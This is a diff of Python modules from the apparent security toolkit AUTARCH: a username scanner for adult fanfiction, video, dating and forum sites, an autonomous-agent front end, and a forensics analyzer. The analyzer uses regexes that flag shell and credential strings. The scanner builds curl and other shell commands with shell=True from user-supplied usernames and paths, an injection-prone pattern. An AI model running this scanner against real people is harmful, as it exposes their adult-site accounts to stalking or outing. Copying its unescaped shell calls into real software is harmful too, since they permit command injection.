print(f"{Colors.DIM}Example: admin, test, user, john, etc.{Colors.RESET}")
|
||||
print()
|
||||
test_user = input(f"{Colors.WHITE}Test username: {Colors.RESET}").strip()
|
||||
if not test_user:
|
||||
self.print_status("Cancelled - no test username provided", "warning")
|
||||
return
|
||||
|
||||
print(f"\n{Colors.CYAN}Scanning {len(new_domains)} domains...{Colors.RESET}\n")
|
||||
|
||||
# Scan each domain
|
||||
added = 0
|
||||
failed = []
|
||||
|
||||
for i, domain in enumerate(new_domains):
|
||||
print(f"{Colors.DIM}[{i+1}/{len(new_domains)}] Scanning {domain}...{Colors.RESET}")
|
||||
|
||||
# Use quiet mode to get first working pattern
|
||||
patterns = self.probe_domain(domain, test_user, quiet=True)
|
||||
|
||||
if patterns:
|
||||
pattern, status, url = patterns[0]
|
||||
url_template = f"https://{domain}{pattern}"
|
||||
name = domain.split('.')[0].title()
|
||||
method = 'status' if status == '200' else 'content'
|
||||
|
||||
# Add to custom sites
|
||||
new_site = (name, url_template, method)
|
||||
self.sites['custom'].append(new_site)
|
||||
added += 1
|
||||
print(f" {Colors.GREEN}[+]{Colors.RESET} Added {name}: {pattern}")
|
||||
else:
|
||||
failed.append(domain)
|
||||
print(f" {Colors.RED}[X]{Colors.RESET} No pattern found")
|
||||
|
||||
# Save results
|
||||
if added > 0:
|
||||
if self.save_custom_sites():
|
||||
print(f"\n{Colors.GREEN}Successfully added {added} site(s){Colors.RESET}")
|
||||
else:
|
||||
print(f"\n{Colors.RED}Failed to save custom sites{Colors.RESET}")
|
||||
|
||||
if failed:
|
||||
print(f"\n{Colors.YELLOW}Failed to detect patterns for {len(failed)} domain(s):{Colors.RESET}")
|
||||
for d in failed[:5]:
|
||||
print(f" {Colors.DIM}-{Colors.RESET} {d}")
|
||||
if len(failed) > 5:
|
||||
print(f" {Colors.DIM}... and {len(failed) - 5} more{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Try adding these manually with [A] or [D]{Colors.RESET}")
|
||||
|
||||
# Offer to clear the import file
|
||||
print()
|
||||
clear_file = input(f"{Colors.WHITE}Clear import file? (y/n): {Colors.RESET}").strip().lower()
|
||||
if clear_file == 'y':
|
||||
# Keep the header comments
|
||||
header = """# AUTARCH Adult Site Scanner - Bulk Import File
|
||||
# Add one domain per line (without http:// or https://)
|
||||
# Lines starting with # are comments
|
||||
|
||||
"""
|
||||
with open(BULK_IMPORT_FILE, 'w') as f:
|
||||
f.write(header)
|
||||
self.print_status("Import file cleared", "success")
|
||||
|
||||
def print_status(self, message: str, status: str = "info"):
|
||||
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
|
||||
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
|
||||
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
|
||||
|
||||
def run_cmd(self, cmd: str, timeout: int = 10) -> tuple:
|
||||
try:
|
||||
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
|
||||
return result.returncode == 0, result.stdout.strip(), result.stderr.strip()
|
||||
except subprocess.TimeoutExpired:
|
||||
return False, "", "timeout"
|
||||
except Exception as e:
|
||||
return False, "", str(e)
|
||||
|
||||
def check_site(self, site_info: tuple, username: str) -> dict:
|
||||
"""Check if username exists on a site."""
|
||||
name, url_template, method = site_info
|
||||
|
||||
# Handle special URL formats
|
||||
if '{}' in url_template:
|
||||
url = url_template.format(username)
|
||||
else:
|
||||
url = url_template + username
|
||||
|
||||
result = {
|
||||
'site': name,
|
||||
'url': url,
|
||||
'found': False,
|
||||
'status': 'unknown'
|
||||
}
|
||||
|
||||
# Use curl to check
|
||||
cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time {self.timeout} '{url}' 2>/dev/null"
|
||||
success, output, _ = self.run_cmd(cmd, self.timeout + 2)
|
||||
|
||||
if success:
|
||||
status_code = output.strip()
|
||||
if method == 'status':
|
||||
# Check HTTP status code
|
||||
if status_code == '200':
|
||||
result['found'] = True
|
||||
result['status'] = 'found'
|
||||
elif status_code in ['301', '302']:
|
||||
result['found'] = True
|
||||
result['status'] = 'redirect'
|
||||
elif status_code == '404':
|
||||
result['status'] = 'not_found'
|
||||
else:
|
||||
result['status'] = f'http_{status_code}'
|
||||
else:
|
||||
# For content-based checks, we need to fetch the page
|
||||
if status_code == '200':
|
||||
# Could do content analysis here
|
||||
result['found'] = True
|
||||
result['status'] = 'possible'
|
||||
elif status_code == '404':
|
||||
result['status'] = 'not_found'
|
||||
else:
|
||||
result['status'] = f'http_{status_code}'
|
||||
else:
|
||||
result['status'] = 'error'
|
||||
|
||||
return result
|
||||
|
||||
def scan_username(self, username: str, categories: list = None):
|
||||
"""Scan username across selected site categories."""
|
||||
if categories is None:
|
||||
categories = list(self.sites.keys())
|
||||
|
||||
# Collect all sites to scan
|
||||
sites_to_scan = []
|
||||
for cat in categories:
|
||||
if cat in self.sites:
|
||||
sites_to_scan.extend(self.sites[cat])
|
||||
|
||||
print(f"\n{Colors.CYAN}Scanning {len(sites_to_scan)} sites for username: {username}{Colors.RESET}")
|
||||
print(f"{Colors.DIM}This may take a few minutes...{Colors.RESET}\n")
|
||||
|
||||
self.results = []
|
||||
found_count = 0
|
||||
|
||||
# Use thread pool for parallel scanning
|
||||
with ThreadPoolExecutor(max_workers=self.max_threads) as executor:
|
||||
futures = {executor.submit(self.check_site, site, username): site for site in sites_to_scan}
|
||||
|
||||
for i, future in enumerate(as_completed(futures)):
|
||||
result = future.result()
|
||||
self.results.append(result)
|
||||
|
||||
# Display progress
|
||||
if result['found']:
|
||||
found_count += 1
|
||||
status_color = Colors.GREEN if result['status'] == 'found' else Colors.YELLOW
|
||||
print(f" {status_color}[+]{Colors.RESET} {result['site']:25} {result['url']}")
|
||||
else:
|
||||
# Show progress indicator
|
||||
print(f"\r{Colors.DIM} Checked {i+1}/{len(sites_to_scan)} sites, found {found_count}...{Colors.RESET}", end="")
|
||||
|
||||
print(f"\r{' ' * 60}\r", end="") # Clear progress line
|
||||
return self.results
|
||||
|
||||
def display_results(self):
|
||||
"""Display scan results."""
|
||||
found = [r for r in self.results if r['found']]
|
||||
not_found = [r for r in self.results if not r['found']]
|
||||
|
||||
print(f"\n{Colors.BOLD}{'─' * 60}{Colors.RESET}")
|
||||
print(f"{Colors.BOLD}Scan Results{Colors.RESET}")
|
||||
print(f"{Colors.BOLD}{'─' * 60}{Colors.RESET}\n")
|
||||
|
||||
if found:
|
||||
print(f"{Colors.GREEN}Found ({len(found)} sites):{Colors.RESET}\n")
|
||||
for r in found:
|
||||
status_note = f" ({r['status']})" if r['status'] not in ['found'] else ""
|
||||
print(f" {Colors.GREEN}+{Colors.RESET} {r['site']:25} {r['url']}{Colors.DIM}{status_note}{Colors.RESET}")
|
||||
else:
|
||||
print(f"{Colors.YELLOW}No profiles found.{Colors.RESET}")
|
||||
|
||||
print(f"\n{Colors.DIM}Total sites checked: {len(self.results)}{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Profiles found: {len(found)}{Colors.RESET}")
|
||||
|
||||
def export_results(self, filename: str):
|
||||
"""Export results to file."""
|
||||
found = [r for r in self.results if r['found']]
|
||||
|
||||
with open(filename, 'w') as f:
|
||||
f.write(f"Username OSINT Results\n")
|
||||
f.write(f"{'=' * 50}\n\n")
|
||||
f.write(f"Found Profiles ({len(found)}):\n\n")
|
||||
for r in found:
|
||||
f.write(f"{r['site']}: {r['url']}\n")
|
||||
|
||||
self.print_status(f"Results exported to {filename}", "success")
|
||||
|
||||
def show_menu(self):
|
||||
"""Display main menu."""
|
||||
clear_screen()
|
||||
display_banner()
|
||||
|
||||
print(f"{Colors.GREEN}{Colors.BOLD} Adult Site Scanner{Colors.RESET}")
|
||||
print(f"{Colors.DIM} Username OSINT for adult platforms{Colors.RESET}")
|
||||
print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
|
||||
print()
|
||||
|
||||
# Show category counts
|
||||
total = sum(len(sites) for sites in self.sites.values())
|
||||
custom_count = len(self.sites.get('custom', []))
|
||||
print(f"{Colors.DIM} Sites in database: {total} ({custom_count} custom){Colors.RESET}")
|
||||
print()
|
||||
|
||||
print(f" {Colors.CYAN}Scan Categories:{Colors.RESET}")
|
||||
print(f" {Colors.GREEN}[1]{Colors.RESET} Full Scan (all categories)")
|
||||
print(f" {Colors.GREEN}[2]{Colors.RESET} Fanfiction & Story Sites")
|
||||
print(f" {Colors.GREEN}[3]{Colors.RESET} Art & Creative Sites")
|
||||
print(f" {Colors.GREEN}[4]{Colors.RESET} Video & Streaming Sites")
|
||||
print(f" {Colors.GREEN}[5]{Colors.RESET} Forums & Communities")
|
||||
print(f" {Colors.GREEN}[6]{Colors.RESET} Dating & Social Sites")
|
||||
print(f" {Colors.GREEN}[7]{Colors.RESET} Gaming Related Sites")
|
||||
print(f" {Colors.GREEN}[8]{Colors.RESET} Custom Sites Only")
|
||||
print(f" {Colors.GREEN}[9]{Colors.RESET} Custom Category Selection")
|
||||
print()
|
||||
print(f" {Colors.CYAN}Site Management:{Colors.RESET}")
|
||||
print(f" {Colors.GREEN}[A]{Colors.RESET} Add Custom Site (manual)")
|
||||
print(f" {Colors.GREEN}[D]{Colors.RESET} Auto-Detect Site Pattern")
|
||||
print(f" {Colors.GREEN}[B]{Colors.RESET} Bulk Import from File")
|
||||
print(f" {Colors.GREEN}[M]{Colors.RESET} Manage Custom Sites")
|
||||
print(f" {Colors.GREEN}[L]{Colors.RESET} List All Sites")
|
||||
print()
|
||||
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
|
||||
print()
|
||||
|
||||
def select_categories(self) -> list:
|
||||
"""Let user select multiple categories."""
|
||||
print(f"\n{Colors.BOLD}Select Categories (comma-separated):{Colors.RESET}")
|
||||
print()
|
||||
|
||||
cat_list = list(self.sites.keys())
|
||||
for i, cat in enumerate(cat_list, 1):
|
||||
count = len(self.sites[cat])
|
||||
print(f" [{i}] {cat.title():20} ({count} sites)")
|
||||
|
||||
print()
|
||||
selection = input(f"{Colors.WHITE}Enter numbers (e.g., 1,2,3): {Colors.RESET}").strip()
|
||||
|
||||
selected = []
|
||||
try:
|
||||
for num in selection.split(','):
|
||||
idx = int(num.strip()) - 1
|
||||
if 0 <= idx < len(cat_list):
|
||||
selected.append(cat_list[idx])
|
||||
except:
|
||||
pass
|
||||
|
||||
return selected if selected else None
|
||||
|
||||
def list_sites(self):
|
||||
"""List all sites in database."""
|
||||
clear_screen()
|
||||
display_banner()
|
||||
|
||||
print(f"{Colors.BOLD}Site Database{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n")
|
||||
|
||||
for category, sites in self.sites.items():
|
||||
if not sites:
|
||||
continue
|
||||
color = Colors.YELLOW if category == 'custom' else Colors.GREEN
|
||||
print(f"{color}{category.upper()} ({len(sites)} sites){Colors.RESET}")
|
||||
for name, url, method in sites:
|
||||
if category == 'custom':
|
||||
display_url = url.replace('{}', '*')
|
||||
print(f" {Colors.DIM}-{Colors.RESET} {name} {Colors.DIM}({display_url}){Colors.RESET}")
|
||||
else:
|
||||
print(f" {Colors.DIM}-{Colors.RESET} {name}")
|
||||
print()
|
||||
|
||||
input(f"{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
||||
|
||||
def run_scan(self, categories: list = None):
|
||||
"""Run a scan with given categories."""
|
||||
username = input(f"\n{Colors.WHITE}Enter username to search: {Colors.RESET}").strip()
|
||||
if not username:
|
||||
return
|
||||
|
||||
self.scan_username(username, categories)
|
||||
self.display_results()
|
||||
|
||||
# Export option
|
||||
export = input(f"\n{Colors.WHITE}Export results to file? (y/n): {Colors.RESET}").strip().lower()
|
||||
if export == 'y':
|
||||
filename = f"{username}_adultscan.txt"
|
||||
self.export_results(filename)
|
||||
|
||||
def run(self):
|
||||
"""Main loop."""
|
||||
while True:
|
||||
self.show_menu()
|
||||
try:
|
||||
choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper()
|
||||
|
||||
if choice == "0":
|
||||
break
|
||||
elif choice == "1":
|
||||
self.run_scan() # All categories
|
||||
elif choice == "2":
|
||||
self.run_scan(['fanfiction'])
|
||||
elif choice == "3":
|
||||
self.run_scan(['art'])
|
||||
elif choice == "4":
|
||||
self.run_scan(['video'])
|
||||
elif choice == "5":
|
||||
self.run_scan(['forums'])
|
||||
elif choice == "6":
|
||||
self.run_scan(['dating'])
|
||||
elif choice == "7":
|
||||
self.run_scan(['gaming'])
|
||||
elif choice == "8":
|
||||
if self.sites.get('custom'):
|
||||
self.run_scan(['custom'])
|
||||
else:
|
||||
self.print_status("No custom sites added yet. Use [A] to add sites.", "warning")
|
||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
||||
continue
|
||||
elif choice == "9":
|
||||
cats = self.select_categories()
|
||||
if cats:
|
||||
self.run_scan(cats)
|
||||
elif choice == "A":
|
||||
self.add_custom_site()
|
||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
||||
continue
|
||||
elif choice == "D":
|
||||
self.auto_detect_site()
|
||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
||||
continue
|
||||
elif choice == "B":
|
||||
self.bulk_import()
|
||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
||||
continue
|
||||
elif choice == "M":
|
||||
self.manage_custom_sites()
|
||||
continue
|
||||
elif choice == "L":
|
||||
self.list_sites()
|
||||
continue
|
||||
|
||||
if choice in ["1", "2", "3", "4", "5", "6", "7", "8", "9"]:
|
||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
||||
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
break
|
||||
|
||||
|
||||
def run():
|
||||
AdultScanner().run()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
run()
|
||||
@@ -0,0 +1,181 @@
|
||||
"""
|
||||
AUTARCH Agent Module
|
||||
Interactive interface for running autonomous agent tasks
|
||||
|
||||
This module provides an interface to give tasks to the autonomous agent
|
||||
and watch it work through them step by step.
|
||||
"""
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
# Module metadata
|
||||
DESCRIPTION = "Autonomous agent for task execution"
|
||||
AUTHOR = "darkHal"
|
||||
VERSION = "1.0"
|
||||
CATEGORY = "core"
|
||||
|
||||
# Add parent directory to path
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
||||
|
||||
from core.agent import Agent, AgentState, AgentStep, AgentResult
|
||||
from core.tools import get_tool_registry
|
||||
from core.llm import get_llm, LLMError
|
||||
from core.banner import Colors, clear_screen, display_banner
|
||||
|
||||
|
||||
class AgentInterface:
|
||||
"""Interactive interface for the AUTARCH agent."""
|
||||
|
||||
def __init__(self):
|
||||
self.agent = None
|
||||
self.llm = get_llm()
|
||||
self.tools = get_tool_registry()
|
||||
|
||||
def print_status(self, message: str, status: str = "info"):
|
||||
"""Print a status message."""
|
||||
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
|
||||
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
|
||||
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
|
||||
|
||||
def print_header(self, text: str):
|
||||
"""Print a section header."""
|
||||
print(f"\n{Colors.BOLD}{Colors.WHITE}{text}{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
||||
|
||||
def show_tools(self):
|
||||
"""Display available tools."""
|
||||
self.print_header("Available Tools")
|
||||
|
||||
tools = self.tools.list_tools()
|
||||
for tool in tools:
|
||||
print(f"\n {Colors.CYAN}{tool.name}{Colors.RESET} [{tool.category}]")
|
||||
print(f" {Colors.DIM}{tool.description}{Colors.RESET}")
|
||||
if tool.parameters:
|
||||
for param in tool.parameters:
|
||||
req = "*" if param.required else ""
|
||||
print(f" - {param.name}{req}: {param.description}")
|
||||
|
||||
def on_step_callback(self, step: AgentStep):
|
||||
"""Callback for when agent completes a step."""
|
||||
print(f"\n{Colors.DIM}{'─' * 40}{Colors.RESET}")
|
||||
|
||||
def on_state_callback(self, state: AgentState):
|
||||
"""Callback for agent state changes."""
|
||||
state_colors = {
|
||||
AgentState.IDLE: Colors.WHITE,
|
||||
AgentState.THINKING: Colors.MAGENTA,
|
||||
AgentState.EXECUTING: Colors.BLUE,
|
||||
AgentState.WAITING_USER: Colors.YELLOW,
|
||||
AgentState.COMPLETE: Colors.GREEN,
|
||||
AgentState.ERROR: Colors.RED,
|
||||
}
|
||||
color = state_colors.get(state, Colors.WHITE)
|
||||
# Only show state for key transitions
|
||||
if state in [AgentState.COMPLETE, AgentState.ERROR]:
|
||||
print(f"{color}[State: {state.value}]{Colors.RESET}")
|
||||
|
||||
def run_task(self, task: str) -> AgentResult:
|
||||
"""Run a task through the agent.
|
||||
|
||||
Args:
|
||||
task: Task description.
|
||||
|
||||
Returns:
|
||||
AgentResult with execution details.
|
||||
"""
|
||||
self.agent = Agent(
|
||||
llm=self.llm,
|
||||
tools=self.tools,
|
||||
max_steps=20,
|
||||
verbose=True
|
||||
)
|
||||
|
||||
self.agent.on_step = self.on_step_callback
|
||||
self.agent.on_state_change = self.on_state_callback
|
||||
|
||||
return self.agent.run(task)
|
||||
|
||||
def interactive_loop(self):
|
||||
"""Run interactive task input loop."""
|
||||
self.print_header("Agent Interface")
|
||||
print(f"\n{Colors.WHITE}Enter a task for the agent to complete.")
|
||||
print(f"Type 'tools' to see available tools.")
|
||||
print(f"Type 'exit' to return to main menu.{Colors.RESET}\n")
|
||||
|
||||
while True:
|
||||
try:
|
||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
||||
task = input(f"\n{Colors.GREEN}Task:{Colors.RESET} ").strip()
|
||||
|
||||
if not task:
|
||||
continue
|
||||
|
||||
if task.lower() == 'exit':
|
||||
break
|
||||
|
||||
if task.lower() == 'tools':
|
||||
self.show_tools()
|
||||
continue
|
||||
|
||||
if task.lower() == 'help':
|
||||
print(f"\n{Colors.WHITE}Commands:{Colors.RESET}")
|
||||
print(f" {Colors.CYAN}tools{Colors.RESET} - Show available tools")
|
||||
print(f" {Colors.CYAN}exit{Colors.RESET} - Return to main menu")
|
||||
print(f" {Colors.CYAN}help{Colors.RESET} - Show this help")
|
||||
print(f"\n{Colors.WHITE}Or enter a task description for the agent.{Colors.RESET}")
|
||||
continue
|
||||
|
||||
# Run the task
|
||||
print(f"\n{Colors.CYAN}[*] Starting agent...{Colors.RESET}\n")
|
||||
|
||||
result = self.run_task(task)
|
||||
|
||||
# Show result summary
|
||||
print(f"\n{Colors.DIM}{'═' * 50}{Colors.RESET}")
|
||||
if result.success:
|
||||
print(f"{Colors.GREEN}[+] Task completed successfully{Colors.RESET}")
|
||||
print(f"\n{Colors.WHITE}Summary:{Colors.RESET} {result.summary}")
|
||||
else:
|
||||
print(f"{Colors.RED}[X] Task failed{Colors.RESET}")
|
||||
if result.error:
|
||||
print(f"{Colors.RED}Error:{Colors.RESET} {result.error}")
|
||||
if result.summary:
|
||||
print(f"{Colors.WHITE}Summary:{Colors.RESET} {result.summary}")
|
||||
|
||||
print(f"\n{Colors.DIM}Steps taken: {len(result.steps)}{Colors.RESET}")
|
||||
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
print(f"\n\n{Colors.YELLOW}[!] Interrupted{Colors.RESET}")
|
||||
break
|
||||
|
||||
def run(self):
|
||||
"""Module entry point."""
|
||||
clear_screen()
|
||||
display_banner()
|
||||
|
||||
print(f"{Colors.BOLD}{Colors.WHITE} AUTARCH Autonomous Agent{Colors.RESET}")
|
||||
print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
|
||||
|
||||
# Check if model is loaded
|
||||
if not self.llm.is_loaded:
|
||||
self.print_status("Loading model...", "info")
|
||||
try:
|
||||
self.llm.load_model(verbose=True)
|
||||
except LLMError as e:
|
||||
self.print_status(f"Failed to load model: {e}", "error")
|
||||
self.print_status("Please run setup to configure a model.", "warning")
|
||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
||||
return
|
||||
|
||||
self.interactive_loop()
|
||||
|
||||
|
||||
def run():
|
||||
"""Module entry point."""
|
||||
interface = AgentInterface()
|
||||
interface.run()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
run()
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,417 @@
|
||||
"""
|
||||
AUTARCH Analyze Module
|
||||
Forensics and analysis tools
|
||||
|
||||
File analysis, hash generation, string extraction, and more.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
import hashlib
|
||||
import re
|
||||
try:
|
||||
import magic
|
||||
except ImportError:
|
||||
magic = None
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
|
||||
# Module metadata
|
||||
DESCRIPTION = "Forensics & file analysis tools"
|
||||
AUTHOR = "darkHal"
|
||||
VERSION = "1.0"
|
||||
CATEGORY = "analyze"
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
||||
from core.banner import Colors, clear_screen, display_banner
|
||||
|
||||
|
||||
class Analyzer:
|
||||
"""Forensics and analysis tools."""
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def print_status(self, message: str, status: str = "info"):
|
||||
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
|
||||
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
|
||||
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
|
||||
|
||||
def run_cmd(self, cmd: str) -> tuple:
|
||||
try:
|
||||
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
|
||||
return result.returncode == 0, result.stdout.strip()
|
||||
except:
|
||||
return False, ""
|
||||
|
||||
def get_file_hashes(self, filepath: str) -> dict:
|
||||
"""Calculate various hashes for a file."""
|
||||
p = Path(filepath)
|
||||
if not p.exists() or not p.is_file():
|
||||
return {}
|
||||
|
||||
hashes = {}
|
||||
with open(p, 'rb') as f:
|
||||
content = f.read()
|
||||
hashes['md5'] = hashlib.md5(content).hexdigest()
|
||||
hashes['sha1'] = hashlib.sha1(content).hexdigest()
|
||||
hashes['sha256'] = hashlib.sha256(content).hexdigest()
|
||||
|
||||
return hashes
|
||||
|
||||
def analyze_file(self):
|
||||
"""Comprehensive file analysis."""
|
||||
print(f"\n{Colors.BOLD}File Analysis{Colors.RESET}")
|
||||
filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip()
|
||||
|
||||
if not filepath:
|
||||
return
|
||||
|
||||
p = Path(filepath).expanduser()
|
||||
if not p.exists():
|
||||
self.print_status(f"File not found: {filepath}", "error")
|
||||
return
|
||||
|
||||
print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}")
|
||||
print(f"{Colors.BOLD}File: {p.name}{Colors.RESET}")
|
||||
print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n")
|
||||
|
||||
# Basic info
|
||||
stat = p.stat()
|
||||
print(f"{Colors.CYAN}Basic Info:{Colors.RESET}")
|
||||
print(f" Path: {p.absolute()}")
|
||||
print(f" Size: {stat.st_size:,} bytes")
|
||||
print(f" Modified: {datetime.fromtimestamp(stat.st_mtime)}")
|
||||
print(f" Created: {datetime.fromtimestamp(stat.st_ctime)}")
|
||||
print(f" Mode: {oct(stat.st_mode)}")
|
||||
|
||||
# File type
|
||||
print(f"\n{Colors.CYAN}File Type:{Colors.RESET}")
|
||||
try:
|
||||
file_magic = magic.Magic(mime=True)
|
||||
mime_type = file_magic.from_file(str(p))
|
||||
print(f" MIME: {mime_type}")
|
||||
|
||||
file_magic = magic.Magic()
|
||||
file_desc = file_magic.from_file(str(p))
|
||||
print(f" Type: {file_desc}")
|
||||
except:
|
||||
success, output = self.run_cmd(f"file '{p}'")
|
||||
if success:
|
||||
print(f" Type: {output.split(':', 1)[-1].strip()}")
|
||||
|
||||
# Hashes
|
||||
print(f"\n{Colors.CYAN}Hashes:{Colors.RESET}")
|
||||
hashes = self.get_file_hashes(str(p))
|
||||
for algo, value in hashes.items():
|
||||
print(f" {algo.upper():8} {value}")
|
||||
|
||||
# Check if executable
|
||||
if p.suffix in ['.exe', '.dll', '.so', '.elf', ''] or stat.st_mode & 0o111:
|
||||
self.analyze_executable(str(p))
|
||||
|
||||
def analyze_executable(self, filepath: str):
|
||||
"""Additional analysis for executables."""
|
||||
print(f"\n{Colors.CYAN}Executable Analysis:{Colors.RESET}")
|
||||
|
||||
# Strings
|
||||
success, output = self.run_cmd(f"strings '{filepath}' 2>/dev/null | head -50")
|
||||
if success and output:
|
||||
# Look for interesting strings
|
||||
interesting = []
|
||||
patterns = [
|
||||
r'https?://[^\s]+', # URLs
|
||||
r'\d+\.\d+\.\d+\.\d+', # IPs
|
||||
r'password|passwd|secret|key|token', # Credentials
|
||||
r'/bin/sh|/bin/bash|cmd\.exe', # Shells
|
||||
]
|
||||
for line in output.split('\n'):
|
||||
for pattern in patterns:
|
||||
if re.search(pattern, line, re.I):
|
||||
interesting.append(line.strip())
|
||||
break
|
||||
|
||||
if interesting:
|
||||
print(f" {Colors.YELLOW}Interesting strings found:{Colors.RESET}")
|
||||
for s in interesting[:10]:
|
||||
print(f" {s[:80]}")
|
||||
|
||||
# Check for packing
|
||||
success, output = self.run_cmd(f"readelf -h '{filepath}' 2>/dev/null")
|
||||
if success:
|
||||
if 'Entry point' in output:
|
||||
print(f" ELF executable detected")
|
||||
|
||||
def extract_strings(self):
|
||||
"""Extract strings from file."""
|
||||
print(f"\n{Colors.BOLD}String Extraction{Colors.RESET}")
|
||||
filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip()
|
||||
|
||||
if not filepath:
|
||||
return
|
||||
|
||||
p = Path(filepath).expanduser()
|
||||
if not p.exists():
|
||||
self.print_status(f"File not found", "error")
|
||||
return
|
||||
|
||||
min_len = input(f"{Colors.WHITE}Minimum string length [4]: {Colors.RESET}").strip() or "4"
|
||||
|
||||
print(f"\n{Colors.CYAN}Extracting strings...{Colors.RESET}\n")
|
||||
|
||||
success, output = self.run_cmd(f"strings -n {min_len} '{p}' 2>/dev/null")
|
||||
if success:
|
||||
lines = output.split('\n')
|
||||
print(f"Found {len(lines)} strings\n")
|
||||
|
||||
# Categorize
|
||||
urls = [l for l in lines if re.search(r'https?://', l)]
|
||||
ips = [l for l in lines if re.search(r'\b\d+\.\d+\.\d+\.\d+\b', l)]
|
||||
paths = [l for l in lines if re.search(r'^/[a-z]', l, re.I)]
|
||||
emails = [l for l in lines if re.search(r'[\w.-]+@[\w.-]+', l)]
|
||||
|
||||
if urls:
|
||||
print(f"{Colors.CYAN}URLs ({len(urls)}):{Colors.RESET}")
|
||||
for u in urls[:10]:
|
||||
print(f" {u}")
|
||||
|
||||
if ips:
|
||||
print(f"\n{Colors.CYAN}IP Addresses ({len(ips)}):{Colors.RESET}")
|
||||
for ip in ips[:10]:
|
||||
print(f" {ip}")
|
||||
|
||||
if emails:
|
||||
print(f"\n{Colors.CYAN}Emails ({len(emails)}):{Colors.RESET}")
|
||||
for e in emails[:10]:
|
||||
print(f" {e}")
|
||||
|
||||
if paths:
|
||||
print(f"\n{Colors.CYAN}Paths ({len(paths)}):{Colors.RESET}")
|
||||
for p in paths[:10]:
|
||||
print(f" {p}")
|
||||
|
||||
# Save option
|
||||
save = input(f"\n{Colors.WHITE}Save all strings to file? (y/n): {Colors.RESET}").strip().lower()
|
||||
if save == 'y':
|
||||
outfile = f"{p.stem}_strings.txt"
|
||||
with open(outfile, 'w') as f:
|
||||
f.write(output)
|
||||
self.print_status(f"Saved to {outfile}", "success")
|
||||
|
||||
def hash_lookup(self):
|
||||
"""Look up hash in threat intel."""
|
||||
print(f"\n{Colors.BOLD}Hash Lookup{Colors.RESET}")
|
||||
hash_input = input(f"{Colors.WHITE}Enter hash (MD5/SHA1/SHA256): {Colors.RESET}").strip()
|
||||
|
||||
if not hash_input:
|
||||
return
|
||||
|
||||
# Determine hash type
|
||||
hash_len = len(hash_input)
|
||||
if hash_len == 32:
|
||||
hash_type = "MD5"
|
||||
elif hash_len == 40:
|
||||
hash_type = "SHA1"
|
||||
elif hash_len == 64:
|
||||
hash_type = "SHA256"
|
||||
else:
|
||||
self.print_status("Invalid hash length", "error")
|
||||
return
|
||||
|
||||
print(f"\n{Colors.CYAN}Hash Type: {hash_type}{Colors.RESET}")
|
||||
print(f"{Colors.CYAN}Hash: {hash_input}{Colors.RESET}\n")
|
||||
|
||||
# VirusTotal URL
|
||||
print(f"{Colors.DIM}VirusTotal: https://www.virustotal.com/gui/file/{hash_input}{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Hybrid Analysis: https://www.hybrid-analysis.com/search?query={hash_input}{Colors.RESET}")
|
||||
|
||||
def analyze_log(self):
|
||||
"""Analyze log files for anomalies."""
|
||||
print(f"\n{Colors.BOLD}Log Analysis{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Common logs: /var/log/auth.log, /var/log/syslog, /var/log/apache2/access.log{Colors.RESET}\n")
|
||||
|
||||
filepath = input(f"{Colors.WHITE}Enter log file path: {Colors.RESET}").strip()
|
||||
if not filepath:
|
||||
return
|
||||
|
||||
p = Path(filepath).expanduser()
|
||||
if not p.exists():
|
||||
self.print_status(f"File not found", "error")
|
||||
return
|
||||
|
||||
print(f"\n{Colors.CYAN}Analyzing {p.name}...{Colors.RESET}\n")
|
||||
|
||||
# Read log
|
||||
try:
|
||||
